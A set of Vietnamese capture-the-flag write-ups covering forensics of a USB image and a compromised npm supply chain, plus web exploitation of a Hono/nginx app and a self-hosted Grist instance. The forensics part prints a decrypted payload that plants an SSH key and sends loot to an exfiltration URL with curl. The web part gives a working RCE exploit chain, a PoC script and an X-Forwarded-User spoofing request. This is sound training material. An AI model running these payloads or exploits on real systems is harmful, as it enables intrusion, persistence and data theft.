Mỗi byte biểu diễn một bit. Ghép 8 giá trị liên tiếp theo thứ tự:

0 1 0 0 1 0 0 0 --> 'H'
0 1 0 1 0 1 0 0 --> 'T'
0 1 0 0 0 0 1 0 --> 'B'
...

Script khôi phục:

flag = bytearray()
for i in range(0, len(guess_dump), 8):
    v = 0
    for b in guess_dump[i:i+8]:
        v = (v << 1) | (b & 1)
    flag.append(v)

print(flag)

Flag: HTB{TH15_TH3_END_0R_WH4T}

Forensics

The Gilded Ghost

Write-up được viết bởi Trần Minh Dương - Sinh viên ngành CNTT Việt-Pháp - K69.

Mô tả

Challenge cung cấp file usb.img, đây là file USB disk image, chứa MBR partition table. Khi check bằng file thấy image có 1 partition kiểu FAT32, bắt đầu tại sector 2048.

Vì sector size mặc định là 512 bytes, nên offset để mount partition là:

2048 * 512 = 1048576 bytes

Vậy giờ tiến hành mount file này ra để truy cập vào filesystem bên trong USB image và đọc các file có trong đó bằng câu lệnh:

sudo mount -o ro,loop,offset=1048576 usb.img mnt_usb

Kiến thức ngoài lề

• FAT32 là một filesystem phổ biến thường được dùng trên USB, thẻ nhớ và các thiết bị lưu trữ di động vì có khả năng tương thích tốt với nhiều hệ điều hành như Windows, Linux và macOS.

• MBR partition table, hay Master Boot Record, là kiểu bảng phân vùng cũ dùng để mô tả cách ổ đĩa được chia thành các phân vùng.

• Sector là đơn vị lưu trữ nhỏ nhất mà ổ đĩa có thể đọc hoặc ghi trực tiếp.

Hướng giải

Task 1 - What filesystem is used in the USB image?

Từ kết quả khi check bằng lệnh file, ta thấy usb.img có một partition với type là DOS/MBR boot sector và partition 1 được ghi là FAT32.

Đáp án: FAT32

Task 2 - What is the partition start offset (in sectors) for the filesystem?

Tương tự cũng từ kết quả của lệnh file, thấy partition 1 có thông tin startsector là 2048.

Đáp án: 2048

Task 3 - What file explains how to use the payload?

Khi mount file xong, check file đã mount thấy được có 3 file .txt, đọc 3 file này để xem file nào có nội dung hướng dẫn sử dụng payload.

Ở đây mình thấy README.txt chứa phần "Operator notes", hướng dẫn cách sử dụng payload. Trong README.txt có nhắc đến việc chạy setup script từ removable media, xác nhận drop hoàn tất, sau đó xóa setup.sh và payload.enc.

Đáp án: README.txt

Task 4 - What is the Sleuth Kit metadata address (inode number shown by fls) for the deleted setup.sh file?

Dùng Sleuth Kit để liệt kê cả file thường và file đã xóa trong filesystem.

Vì partition bắt đầu ở sector 2048, sử dụng option -o 2048:

fls -o 2048 -rd usb.img

Từ đây thấy được file setup.sh và payload.enc đã bị xóa, thể hiện qua dấu * trong output của fls.

Đồng thời trong output của Sleuth Kit, số đứng trước dấu : chính là metadata address hay inode number của file đó.

Metadata address hay inode number trong Sleuth Kit là số định danh của một file hoặc thư mục trong filesystem. Dựa vào số này có thể dùng các công cụ khác như icat để đọc hoặc khôi phục nội dung file, kể cả khi file đó đã bị xóa.

Đáp án: 13

Task 5 - What encryption algorithm is used to protect the payload? (format: xxx-xxx-xxx)

Sử dụng icat để đọc nội dung file setup.sh đã bị xóa.

icat -o 2048 usb.img 13

Từ nội dung file setup.sh đã bị xóa, ta thấy script sử dụng lệnh openssl để giải mã file payload.enc. Trong đó payload được mã hóa bằng thuật toán mã hóa aes-256-cbc.

Đáp án: aes-256-cbc

Task 6 - What key/passphrase is used to decrypt the encrypted payload?

Từ nội dung của file setup.sh trong câu hỏi trước thấy được biến KEY đã được khai báo, do vậy đây cũng chính là đáp án.

Đáp án: AllH4!lVANE!!!

Task 7 - What is the attacker's SSH public key comment/identity string?

Đầu tiên cần khôi phục file payload.enc đã bị xóa bằng icat, sau đó thực hiện giải mã bằng thuật toán và key đã tìm được ở các task trước.

icat -o 2048 usb.img 15 > payload.enc
openssl enc -d -aes-256-cbc -pbkdf2 -iter 100000 -salt \
  -pass 'pass:AllH4!lVANE!!!' \
  -in payload.enc \
  -out payload.txt

Kết quả thu được:

#!/bin/bash
set -euo pipefail

EXFIL_URL="http://uplink.korvia.gov:8080/api/v1/ingest"

GHOST_PUB='ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIPnCjVpE+SqRDTKLN5IYDYULJGXmAItja5qNt34cma07 D9:GildedWeaver:Ghost'

# --- Persistence: add attacker SSH key ---
mkdir -p "${HOME}/.ssh" 2>/dev/null || true
chmod 700 "${HOME}/.ssh" 2>/dev/null || true

AUTH_KEYS="${HOME}/.ssh/authorized_keys"
touch "${AUTH_KEYS}" 2>/dev/null || true
chmod 600 "${AUTH_KEYS}" 2>/dev/null || true

# Append only if not already present
grep -qxF "${GHOST_PUB}" "${AUTH_KEYS}" 2>/dev/null || echo "${GHOST_PUB}" >> "${AUTH_KEYS}" 2>/dev/null || true

# --- Enumeration ---
OUTDIR="/tmp/gw"
mkdir -p "${OUTDIR}"

{
  echo "[D9] unit=GildedWeaver operator=Ghost"
  date 2>/dev/null || true
  echo
  echo "[whoami]"
  id 2>/dev/null || true
  echo
  echo "[hostname]"
  hostname 2>/dev/null || true
  echo
  echo "[uname]"
  uname -a 2>/dev/null || true
  echo
  echo "[ip]"
  (ip a || ifconfig) 2>/dev/null || true
  echo
  echo "[routes]"
  (ip route || route -n) 2>/dev/null || true
  echo
  echo "[processes]"
  ps aux 2>/dev/null || true
} > "${OUTDIR}/survey.txt"

# Bundle the loot
tar -czf "${OUTDIR}/loot.tar.gz" -C "${OUTDIR}" survey.txt 2>/dev/null || true

# --- Exfil ---
if command -v curl >/dev/null 2>&1; then
  curl -sS -m 3 -X POST -F "file=@${OUTDIR}/loot.tar.gz" "${EXFIL_URL}" >/dev/null 2>&1 || true
fi

Thấy SSH public key:

ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIPnCjVpE+SqRDTKLN5IYDYULJGXmAItja5qNt34cma07 D9:GildedWeaver:Ghost

Với SSH public key, phần cuối cùng sau key chính là comment / identity string.

Đáp án: D9:GildedWeaver:Ghost

Task 8 - What the fullpath of the file that was exfiltrated?

Vẫn từ script decrypt ra thấy được payload tạo thư mục output tại:

OUTDIR="/tmp/gw"

Sau đó bundle file survey.txt thành archive:

tar -czf "${OUTDIR}/loot.tar.gz" -C "${OUTDIR}" survey.txt 2>/dev/null || true

Vậy đường dẫn đầy đủ của file bị exfiltrate là:

/tmp/gw/loot.tar.gz

Đáp án: /tmp/gw/loot.tar.gz

Task 9 - What is the exfiltration destination (full URL path)?

Vẫn từ nội dung script đã được giải mã, biến EXFIL_URL được khai báo là:

EXFIL_URL="http://uplink.korvia.gov:8080/api/v1/ingest"

Đáp án: http://uplink.korvia.gov:8080/api/v1/ingest

Trust and Betrayal

Write-up được viết bởi Nguyễn Lương Dũng - Sinh viên ngành An toàn không gian số - K69.

Mô tả thử thách

Gabe Okoye has flagged a disturbing shift in our systems' lineage immediately following the deployment of VeldoriaPanel, an application we built internally with security in mind. Although the panel is a trusted service, its installation coincides with the appearance of malicious activity that feels too disciplined to be random. We need you to determine if this internal tool has been nudged to create a silent opening for the adversary. Your mission is to uncover if our own secure development path has been compromised to grant Silas Vane the permanent, quiet access he requires.

Hệ thống triển khai ứng dụng VeldoriaPanel, nhưng đã vô tình tạo một lỗ hổng cho kẻ tấn công dẫn đến một số hoạt động lạ. Tìm hiểu cách kẻ tấn công đã khai thác và cài các cơ chế duy trì sự hiện diện (persistence).

Tổng quan về challenge

Bằng chứng được thử thách cung cấp là bản sao của ổ đĩa C thuộc một máy tính đã bị khai thác.

Ngoài ra còn một số file như ConsoleLog.txt, CopyLog.csv, và SkipLog.csv. Mình bắt đầu kiểm tra trong 2026-05-07T17_08_07_9619841_ConsoleLog.txt, và biết được các bằng chứng được thu thập bằng công cụ KAPE.

Command line đã được sử dụng để trích xuất dữ liệu phục vụ điều tra là:

kape.exe --tsource C: --tdest C:\Cases\Output --target !BasicCollection,EventLogs,UserFiles --vss

Các target được trích xuất bao gồm BasicCollection, EventLogs, UserFiles.

Thêm vào đó, ConsoleLog.txt cũng cho thấy hệ thống có cài Sysmon để ghi log.

Hướng giải

Task 1 - What is the filename of the malicious file that executed the first stage of the attack?

Dựa trên việc phát hiện hệ thống có sử dụng Sysmon, mình tiến hành phân tích Windows Event Log bằng công cụ EvtxECmd.exe kết hợp với Timeline Explorer.

Cả hai công cụ này đều được phát triển bởi Eric Zimmerman, khi kết hợp giúp xem và lọc các tập tin nhật ký nhanh hơn so với khi dùng Event Viewer (ứng dụng xem log mặc định trên Windows).

Đường dẫn mặc định trên Windows lưu các file log là C:\Windows\System32\winevt\logs.

Sử dụng câu lệnh sau để phân tích các file log - ở đây mình tập trung vào log của Sysmon trước:

./EvtxECmd.exe -f Microsoft-Windows-Sysmon%4Operational.evtx --csv "./output" --csvf sysmon.csv

Trong Sysmon, Event ID 1 sẽ được tạo ra khi có tiến trình được tạo mới (Process Creation), ví dụ khi user thực thi các câu lệnh trên hệ thống.

Vì vậy, mình đã filter Event ID = 1 trong Timeline Explorer để săn tìm các tiến trình khả nghi, có thể kể đến như cmd.exe hoặc powershell.exe.

Tuy nhiên sau khi lọc các Event ID = 1, vẫn còn khá nhiều Record, nên mình đã tiếp tục thêm một filter là Payload contains "cmd", khi này số lượng Record đã thu hẹp đáng kể.

Tại Event 392, phát hiện cmd.exe đã được sử dụng để chạy tiến trình node.exe, với câu lệnh đầy đủ là node setup.js.

Như vậy có vẻ file đã được chạy trong giai đoạn ban đầu của cuộc tấn công là setup.js. Để kiểm chứng suy đoán, mình đã kiểm tra các Event từ 392 trở xuống (sau khi setup.js được chạy), và thấy một số command line khả nghi.

Tại Event 393, hệ thống ghi nhận hành vi thăm dò hệ thống (system reconnaisance). Ở đây, lệnh where powershell đã được chạy để tìm kiếm vị trí của file powershell.exe.

Tại Event 398, file 6202033.vbs được chạy bằng cscript.exe, và ngay sau đó là xóa file để che giấu dấu vết. Event này có ParentCommandLine là node setup.js, cho thấy đây là kết quả khi chạy file setup.js.

Do mình đang filter event ID 1 nên mình chưa rõ tại sao file vbs này lại tồn tại, tuy nhiên với sự hiện diện của script viết bằng JavaScript và thực thi bằng Node runtime, có thể suy đoán file script này đã thực hiện tạo mới file js trên hệ thống, sau đó thực thi bằng cách gọi cscript.

Mặc dù file .vbs gốc đã bị xóa ngay sau đó, nhưng dấu vết của nó vẫn được lưu trong $J. Mình parsed $J bằng công cụ MFTECmd.exe và mở bằng Timeline Explorer để xem chi tiết hơn.

Command line đã sử dụng: MFTECmd.exe -f '.\$Extend\$J' --csv '.\output' --csvf j.csv

Phát hiện file được tạo và xóa ngay lập tức trong một khoảng thời gian rất ngắn:

Từ việc chạy setup.js, một chuỗi tấn công đáng ngờ đã diễn ra trên hệ thống, do vậy có thể tìm ra đáp án câu hỏi đầu tiên

Đáp án: setup.js

Task 2 - What is the name of the malicious library or package that contained the file identified in the previous question?

Đáp án cho câu hỏi này có thể được thấy trong phần Payload của Event 392 (nơi setup.js được gọi chạy).

Để tìm kiếm bằng chứng liên quan đến câu hỏi này, mình cần biết điều gì thực sự đã diễn ra trên máy tính khiến cho setup.js được chạy.

Vẫn tại Sysmon log, tại Event 389 (trước khi setup.js được chạy), phát hiện 1 entry chứa ParentCommandLine là \"C:\\Program Files\\nodejs\\node.exe\" \"C:\\Program Files\\nodejs/node_modules/npm/bin/npm-cli.js\" install". Điều này cho thấy người dùng đã chạy câu lệnh npm install.

Khi npm install được chạy, npm đọc tệp package.json trong thư mục hiện tại để biết danh sách các thư viện cần cài đặt. Sau đó, nó kiểm tra package-lock.json để xác định chính xác phiên bản, hash (để kiểm tra tính toàn vẹn) và thứ tự phụ thuộc của các gói (dependency).

Về cơ chế NPM Life Cycle, trong file package.json, nhà phát triển có thể định nghĩa các hook để npm tự động chạy lệnh trong một số điều kiện nhất định. Các hook có thể là preinstall (trước khi cài đặt), postinstall (sau khi cài đặt).

Vì thế, mình đã kiểm tra trong package-lock.json và thấy simple-crypto-js, entry này có nội dung như sau:

"node_modules/simple-crypto-js": {
  "version": "4.2.1",
  "resolved": "http://192.168.128.1:4873/simple-crypto-js/-/simple-crypto-js-4.2.1.tgz",
  "integrity": "sha512-GqmKd61uPIsUZsqY8uOJJXRdMaGxBGDuLYSfOmGWwvFp2vmkbr3SobnS4KpjeWVRGMBiJOnFqXtv5juyIB7eDg==",
  "hasInstallScript": true
},

Một package có hasInstallScript: true nghĩa là nó có script chạy trong lúc install. Sysmon lại ghi nhận đúng lúc npm install, node setup.js được chạy từ thư mục của package này.

Ở đây mình có thể tinh ý nhận ra tên package này khá giống với plain-crypto-js, thư viện chứa mã độc được sử dụng trong sự cố tấn công chuỗi cung ứng nhắm vào thư viện Axios (tháng 3/2026).

Đáp án: simple-crypto-js

Task 3 - What is the name of the top-level package that was compromised by pulling in the malicious dependency?

Trong bài này, người dùng đã thực hiện cài đặt các thư viện bình thường nhằm phục vụ quá trình lập trình, tuy nhiên dependency của các thư viện được cài đặt lại phụ thuộc vào một thư viện đã bị kẻ tấn công cài đặt mã độc.

Từ những bằng chứng có được, kỹ thuật mà kẻ tấn công đã sử dụng được gọi là Supply-Chain Compromise.

Vì vậy, để biết được top-level package đã kéo package simple-crypto-js, mình kiểm tra dependency trong package-lock.json và tìm đến entry tương ứng.

Top-level package kéo theo dependency độc hại, simple-crypto-js, là axios.

Đáp án: axios

Task 4 - What is the domain name used for data exfiltration or payload retrieval?

Quay lại với Sysmon log, sau khi file 6202033.vbs được chạy, nó ngay lập tức tải xuống một file PowerShell .ps1 từ domain rustf.htb bằng lệnh curl, thực thi payload và tiếp tục xóa file để che giấu hành vi:

Tuy vậy, thông qua phân tích bằng chứng $J, mình vẫn phát hiện ra sự tồn tại của tập tin này:

Đáp án: rustf.htb

Task 5 - What is the filename of the VBScript used to execute the next stage of the attack?

Dựa vào phân tích ở các task trên, có thể suy ra đáp án ở đây.

Đáp án: 6202033.vbs

Task 6 - What was the original name of the binary before it was renamed by the attacker to evade detection?

Vẫn trong các log được tạo bởi Sysmon, tại Event 404, sau khi tải được file .ps1 từ domain trên về, kẻ tấn công đã chạy file đó bằng binary wt.exe. Đó chính là PowerShell.EXE nhưng đã bị đổi tên nhằm tránh bị phát hiện.

Bằng chứng có thể thấy tại:

{"@Name":"Image","#text":"C:\\ProgramData\\wt.exe"},
{"@Name":"FileVersion","#text":"10.0.26100.3323 (WinBuild.160101.0800)"},
{"@Name":"Description","#text":"Windows PowerShell"},
{"@Name":"Product","#text":"Microsoft® Windows® Operating System"},
{"@Name":"Company","#text":"Microsoft Corporation"},
{"@Name":"OriginalFileName","#text":"PowerShell.EXE"}

Đáp án: PowerShell.EXE

Task 7 - Based on the initial entry point you identified, what is the MITRE ATT&CK Technique ID for this specific method of compromise? (TXXXX.YYY)

Như đã phân tích, kẻ tấn công đã sử dụng kỹ thuật Supply-chain Compromise.

Đáp án: T1195.001

Task 8 - What is the Registry Key (including the Hive) that was modified to establish persistence for the malicious binary? (HKLM....)

Qua tìm hiểu, mình biết được khi một Registry Key bị thay đổi, Sysmon sẽ ghi lại sự kiện này tại entry có Event ID 13.

Đồng thời mình cũng tìm hiểu thêm về NTUSER.DAT:

NTUSER.DAT là một file Registry hive của Windows dùng để lưu toàn bộ cấu hình và hoạt động riêng của từng tài khoản người dùng.

Mỗi khi user đăng nhập, Windows sẽ load file này thành hive HKEY_CURRENT_USER (HKCU) để hệ điều hành và ứng dụng truy cập các thiết lập cá nhân.

File nằm tại C:\Users<username>\NTUSER.DAT.

Các persistence (nếu có) thường sẽ nằm tại:

• HKCU\Software\Microsoft\Windows\CurrentVersion\Run
• HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce

Nên trong Sysmon log, mình filter Event ID = 13 và Payload contains Run. Chỉ còn ba records sau khi áp dụng filter này, xoay quanh khoảng thời gian từ khi setup.js được chạy chỉ có duy nhất một sự kiện thỏa mãn, đó là Event 426.

Nội dung Payload của Event này như sau:

{"EventData":{"Data":
[{"@Name":"RuleName","#text":"T1060,RunKey"},
{"@Name":"EventType","#text":"SetValue"},
{"@Name":"UtcTime","#text":"2026-05-07 16:58:47.956"},
{"@Name":"ProcessGuid","#text":"5bb49afa-c4c2-69fc-0101-000000001500"},
{"@Name":"ProcessId","#text":"4540"},
{"@Name":"Image","#text":"C:\\ProgramData\\wt.exe"},
{"@Name":"TargetObject","#text":"HKU\\S-1-5-21-1951309463-2880286089-3258862196-1001\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\MicrosoftUpdate"},
{"@Name":"Details","#text":"C:\\ProgramData\\system.bat"},
{"@Name":"User","#text":"WIN-1VE69EPCP1O\\developer"}]
}}

Ở đây thấy được tiến trình wt.exe (PowerShell), đã chỉnh sửa Registry tại HKU\S-1-5-21-1951309463-2880286089-3258862196-1001\Software\Microsoft\Windows\CurrentVersion\Run\MicrosoftUpdate và set value thành C:\ProgramData\system.bat.

Điều này có nghĩa mỗi khi user đăng nhập, Windows sẽ tự động chạy C:\ProgramData\system.bat.

Trong Sysmon, HKCU thường được ghi dưới dạng HKU\SID vì hive user được load vào HKEY_USERS. Nên với user developer, thay vì HKCU như thường lệ, nó sẽ là HKU\<developer_SID>.

Ngoài ra, bằng chứng về cơ chế duy trì sự hiện diện (system.bat) cũng được thấy khi mình sử dụng Registry Explorer để tìm tới thư mục Root\Software\Microsoft\Windows\CurrentVersion\Run khi mở NTUSER.DAT của user developer.

Đáp án: HKU\S-1-5-21-1951309463-2880286089-3258862196-1001\Software\Microsoft\Windows\CurrentVersion\Run\MicrosoftUpdate

Timeline cuộc tấn công

Web

Sarym Control

Write-up được viết bởi Vũ Trọng Quốc Khánh (@kyrux) - Sinh viên ngành Kỹ thuật Máy tính - K69.

Phân tích challenge

Bài này từng lỗ hổng không quá phức tạp, nhưng khi ghép nối để tạo exploit chain thì nó thật sự rất đẹp.

Giao diện khi mới mở là một form đăng nhập / đăng ký:

Tạo tài khoản và đăng nhập:

Phân tích mã nguồn

Kiến trúc ứng dụng

Thay vì đọc toàn bộ source ngay từ đầu, mình muốn xác định trước challenge này được triển khai theo mô hình nào và request sẽ đi qua những thành phần nào. Hai file có thể xác định tốt nhất cho việc này là Dockerfile và config/supervisord.conf.

Từ Dockerfile ta có thể thấy challenge này không chạy như một ứng dụng Node.js đơn lẻ. Image còn cài đặt thêm cả nginx và supervisor, sau đó dùng supervisord làm entrypoint, nhận định container đang chạy nhiều dịch vụ cùng lúc thay vì chỉ một web server riêng lẻ:

Đọc tiếp config/supervisord.conf:

Tại đây ta có thể xác định được ứng dụng gồm 3 thành phần chính:

• nginx là reverse proxy.
• node là backend chính.
• python /app/utils/utils_service.py là một service riêng.

Và nhìn vào phần khai báo trong các file ta dễ dàng nhận ra backend đang dùng framework Hono:

import { Hono } from 'hono';

Từ đây có thể suy ra luồng xử lý request của challenge như sau:

client -> nginx -> NodeJS(Hono) -> utils

Nginx

Trong config/nginx.conf có 1 route được bảo vệ riêng bởi allow/deny:

Các route còn lại đều bình thường, khi gặp các kiểu bảo vệ như này thì mình thường sẽ nghĩ ngay đến kỹ thuật path confusion, ý tưởng này dựa trên sự khác biệt về cách các tầng trung gian (middleware/proxy server) và origin server xử lý/phân tích một URL.

Bạn có thể tham khảo thêm về kỹ thuật này tại đây: Confusion Attacks

Và ta cũng đã biết ứng dụng phía backend đang sử dụng framework Hono. Hono sẽ xử lý request dựa trên các Web Standard (ở đây là WHATWG URL). Theo tiêu chuẩn này thì các giao thức như HTTP/HTTPS sẽ tự động chuẩn hóa các dấu \ bất thường thành /.

Tham khảo: Web Standard của Hono, Class URL trong NodeJS

Nếu ta gửi request vào /api/admin\settings, phía backend sẽ xử lý như sau:

• Nginx nhận URL /api/admin\settings và khi so khớp với logic location = /api/admin/settings sẽ thất bại vì \ khác /. (nginx so sánh chặt).
• Hono sẽ tự chuẩn hóa thành /api/admin/settings.

→ Có thể bypass thành công.

Ngoài cách bypass bằng / như trên còn rất nhiều cách bypass config này của nginx, mọi người cũng có thể tìm hiểu dựa trên các tài liệu trên về kỹ thuật.

Vị trí middleware ở routes.tsx

Tiếp theo ở /src/routes.tsx, /admin/settings lại được đặt trước middleware xác thực của admin:

middleware/auth.ts yêu cầu phải có quyền admin mới có thể qua:

Đoạn này cung cấp cho ta một hướng đi rất đắt giá, nhìn vào source trên ta có thể thấy:

• /api/admin/settings được khai báo trước.
• Middleware api.use('/admin', requireAdmin) lại bị khai báo sau nên nó chỉ áp dụng cho các routes phía dưới, hoàn toàn không có tác dụng lên /api/admin/settings

→ Phía backend do lỗi lập trình nên đã không bảo vệ route này, từ đó cơ chế phòng vệ duy nhất là allow/deny của nginx.

→ Kết hợp với lỗ hổng đầu tiên nếu bypass được nginx ta sẽ hoàn toàn đi vào được settings của admin này.

Validator

Route /admin/settings được gán với settingsValidator ở /src/validator:

→ Mặc dù Validator rất chặt và chặn hoàn toàn con đường tự set role lên admin nhưng Validator lại có điểm yếu là chỉ có thể hoạt động được với kiểu JSON. Nghĩa là nếu ta set Content-Type là JSON thì nó sẽ hoạt động và ngược lại sẽ bỏ qua.

Khi nhìn sang Handler thì mình lại thấy một lỗ hổng khác:

Handler có khả năng parse JSON body và tự cập nhật lại settings.

Lúc này ta đã thấy một con đường rõ ràng hơn để leo quyền lên admin, nếu gửi payload:

POST /api/admin/settings HTTP/1.1
Content-Type: text/plain

{"registrationEnabled":true,"defaultRole":"admin"}

Và trong trường hợp ta có thể bypass được nginx thì ta hoàn toàn có thể tự nâng quyền của mình lên admin:

• Content-Type: text/plain sẽ đánh lừa được Validator và đi thẳng vào Handler.
• Vẫn gửi body là JSON để phía backend xử lý và tự cập nhật các settings gốc.

Chức năng đăng ký không an toàn

Trong /src/routes.tsx ta có thể thấy route /auth/register với chức năng đăng ký tài khoản mới trực tiếp lấy role từ settings.default:

Trong /services/app-service.ts lại có:

→ Nếu ta có thể chỉnh sửa được defaultRole thông qua endpoint /api/admin/settings ở phần 3 thì khi tạo một tài khoản mới ta sẽ trực tiếp được cấp quyền admin mà không phải leo thang đặc quyền quá phức tạp.

Query Parameter Injection

Rõ ràng ta thấy tham số command được bảo vệ rất kỹ (chỉ cho phép trong allowlist) ở /src/services/satellite-utils-service.ts:

Nhưng nếu nhìn kỹ lại thì ta có thể dễ dàng phát hiện ra ở hàm buildQueryFromJson cả 2 biến encodedKey và encodedValue đều không được URL encode:

Và hàm executeFromRawBody chỉ kiểm tra mỗi command mà không kiểm tra các tham số khác:

→ Nếu ta truyền một payload JSON như:

{
  "x": "1&command=cat${IFS}/flag.txt",
  "command": "node_status"
}

thì ở bước kiểm tra, parsed.command vẫn là "node_status" nên hợp lệ → qua được isAllowedCommand. Nhưng khi build query, vì value của x không được encode nên chuỗi query cuối cùng sẽ trở thành:

x=1&command=cat${IFS}/flag.txt&command=node_status

→ Nếu không encode hoàn toàn thì value của "x" có thể chèn thêm được một tham số command khác vào query string.

Điều quan trọng là phía NodeJS validate command dựa trên object JSON ban đầu, còn phía Python service lại lấy command từ query string sau khi đã bị chèn thêm tham số. Khi có duplicate parameter, Python sẽ chỉ lấy giá trị command đầu tiên, tức là cat${IFS}/flag.txt, thay vì giá trị hợp lệ node_status đứng phía sau.

Như vậy ta đã đánh lừa được backend:

• NodeJS thấy command=node_status → hợp lệ, request được gửi sang utils service.
• Python service thấy command=cat${IFS}/flag.txt → lấy giá trị này làm command_name.

Service

Kiểm tra /utils/utils_service.py:

Nhưng khi kiểm tra command_name thấy không nằm trong allowlist thì code không từ chối request ngay mà lại nhảy xuống khối lệnh:

Việc sử dụng shell=True cho phép bất kỳ chuỗi nào khi truyền qua command_name không nằm trong allowlist cũng sẽ được thực thi trực tiếp bằng shell → Kết hợp với lỗ hổng Query Parameter Injection ở phần 6 ta có thể thực hiện RCE.

Và để gửi payload vào Service này ta sẽ thông qua route /admin/utils/execute ở /src/routes.tsx:

Từ đây ta có thể hình thành chuỗi khai thác như sau:

route confusion -> unauthorized setting update -> admin registration -> query parameter injection -> RCE 

Khai thác

Sau khi phân tích xong source code và có exploit chain, ta có thể dễ dàng khai thác challenge này như sau:

Bước 1. Bypass nginx và sửa default settings

Gửi request:

POST /api/admin\settings HTTP/1.1
Host: TARGET
Content-Type: text/plain

{"registrationEnabled":true,"defaultRole":"admin"}

Giải thích payload:

• nginx không match với location /api/admin/settings vì có \
• backend normalize path thành /api/admin/settings → vào được route
• route này lại không được requireAdmin bảo vệ vì sai cách khai báo thứ tự
• Content-Type: text/plain giúp bypass validator

→ Thành công sửa đổi defaultRole

Bước 2. Tạo tài khoản và truy cập dashboard admin

Tiến hành gửi request tạo tài khoản:

POST /api/auth/register HTTP/1.1
Host: TARGET
Content-Type: application/json

{"username":"kyrux","password":"BKSEC"}

Sau khi vào bằng account mới đã đăng ký ta sẽ có sẵn giao diện Admin:

Bước 3. Trigger RCE thông qua /admin/utils/execute

Ta chỉ cần gửi vào route /api/admin/utils/execute payload như sau:

{
  "x": "1&command=cat${IFS}/flag.txt",
  "command": "node_status"
}

Giải thích payload:

• ${IFS} được sử dụng để thay cho space.
• Sau các bước kiểm tra, chuỗi query mới được tạo ra là x=1&command=cat${IFS}/flag.txt&command=node_status.
• Phía NodeJS validate command hợp lệ là node_status, nhưng Python service lại lấy command đầu tiên trong query string là cat${IFS}/flag.txt.

Bingoo!!

Sau khi thành công ở local thì mình tiến hành viết PoC và thực hiện thật ở remote.

PoC

#!/usr/bin/env bash
set -euo pipefail

host=154.57.164.64
port=32673
base="http://$host:$port"
user="kyrux"
pass=BKSEC
jar="$(mktemp)"
trap 'rm -f "$jar"' EXIT

status="$(curl -sS --path-as-is -o /dev/null -w '%{http_code}' \
  -H 'Content-Type: text/plain' \
  --data '{"registrationEnabled":true,"defaultRole":"admin"}' \
  "$base/api/admin\\settings")"
[ "$status" = "200" ]

curl -sS -c "$jar" \
  -H 'Content-Type: application/json' \
  --data "{\"username\":\"$user\",\"password\":\"$pass\"}" \
  "$base/api/auth/register" >/dev/null

curl -sS -b "$jar" \
  -H 'Content-Type: application/json' \
  --data '{"x":"1&command=cat${IFS}/flag.txt","command":"node_status"}' \
  "$base/api/admin/utils/execute" \
  | jq -r '.output // .message'

Flag: HTB{wh3n_v4l1d4t0r_15nt_v4l1d4t1ng_663313b13b50f77418460bc63a7f63b7}

Trust Fall

Write-up được viết bởi Vũ Trọng Quốc Khánh (@kyrux) - Sinh viên ngành Kỹ thuật Máy tính - K69.

Phân tích challenge

Challenge này là một bài web khai thác theo chuỗi trust misconfiguration, không phải bug application logic quá phức tạp.

Trang web có giao diện đơn giản, nhưng thực chất đây không phải một web app custom viết riêng mà là dựa trên Grist được self-host. Grist là một nền tảng lai giữa spreadsheet và database: dữ liệu được tổ chức theo mô hình workspace -> document -> table, có giao diện chỉnh sửa giống bảng tính, hỗ trợ history, chia sẻ tài liệu, REST API và có cả hỗ trợ công thức tính toán bằng Python.

Từ giao diện có thể thấy người dùng có thể mở các document, xem các bảng dữ liệu bên trong, theo dõi lịch sử thay đổi và thao tác với dữ liệu tương tự spreadsheet:

Ở màn hình đăng nhập / đăng ký thì lại báo lỗi:

→ Có thể nhận định mục đích của challenge không đi theo luồng đăng nhập mặc định của Grist.

Phân tích mã nguồn

Challenge khá ít file, nên mình sẽ đọc các file config và Dockerfile trước để hiểu các thành phần kết nối với nhau như thế nào.

Bắt đầu với Dockerfile, ta có thể thấy những dòng quan trọng như sau:

• GRIST_DEFAULT_EMAIL: đây là email mặc định của admin, source tiết lộ là alex.caldwell@grist.htb.

• GRIST_FORWARD_AUTH_HEADER=X-Forwarded-User: Grist xác thực trực tiếp từ header X-Forwarded-User, đây là một HTTP Header dùng để định danh người dùng từ một hệ thống trung gian (như Reverse Proxy hoặc cổng xác thực SSO) đến backend. Nếu Nginx đứng trước không xoá hoặc ghi đè header X-Forwarded-User từ client, ta có thể tự chèn header này vào request để mạo danh user nội bộ để đi vào bên trong.

• GRIST_IGNORE_SESSION=true: Grist bỏ qua session/cookie thông thường. Phần troubleshooting trong docs còn ghi rất rõ rằng khi bật GRIST_IGNORE_SESSION=true, Grist sẽ tin hoàn toàn vào GRIST_FORWARD_AUTH_HEADER trên mọi request, vì vậy bắt buộc phải có middleware strip hoặc override header này trước khi forward request từ bên ngoài vào Grist.

• GRIST_SANDBOX_FLAVOR=unsandboxed: thực hiện các formula ở chế độ không sandbox. Bình thường, Grist có hỗ trợ viết công thức bằng Python và các công thức do người dùng nhập vào bảng tính được chạy trong một môi trường sandbox rất chặt chẽ. Việc tắt sandbox có thể khiến code Python trong formula được thực thi trực tiếp trên server, từ đó dẫn đến RCE.

Tiếp tục với nginx/default.conf (container chỉ copy file này), ta dễ dàng nhận ra không hề có một dòng nào để chặn, xoá, hay ghi đè header X-Forwarded-User:

→ Đây là lỗ hổng đầu tiên: Grist được cấu hình để tin X-Forwarded-User, nhưng Nginx lại không đảm bảo header đó chỉ đến từ proxy/auth layer. Kết quả là ta có thể tự gửi X-Forwarded-User: alex.caldwell@grist.htb vào và backend sẽ hiểu request đó đến từ admin.

Ở /seed-challenge.mjs ta lại càng xác nhận hơn về các giả thuyết trên:

Với email của admin và việc xác thực qua header X-Forwarded-User, mình sẽ thử giả mạo bằng request đến /api/session/access/active để kiểm tra quyền hiện tại:

Request như sau:

GET /api/session/access/active HTTP/1.1
Host: TARGET
X-Forwarded-User: alex.caldwell@grist.htb

→ Ta đã mạo danh admin thành công.

Nhưng để biến quyền admin thành RCE, ta cần tìm cách chèn formula vào tài liệu. Mình sẽ đọc và phân tích mã nguồn, luồng hoạt động của backend như sau:

• waitForServer(): Liên tục ping đến endpoint /api/session/access/active để kiểm tra xem máy chủ Grist đã khởi động và nhận diện được Admin chưa.

• Các hàm ensureWorkspace và ensureDoc để tạo hai workspace, bao gồm hai loại:

  • Public: Workspace Announcements, docs SSO-Rollout.
  • Private: Workspace Operations, docs Automation-Lab.

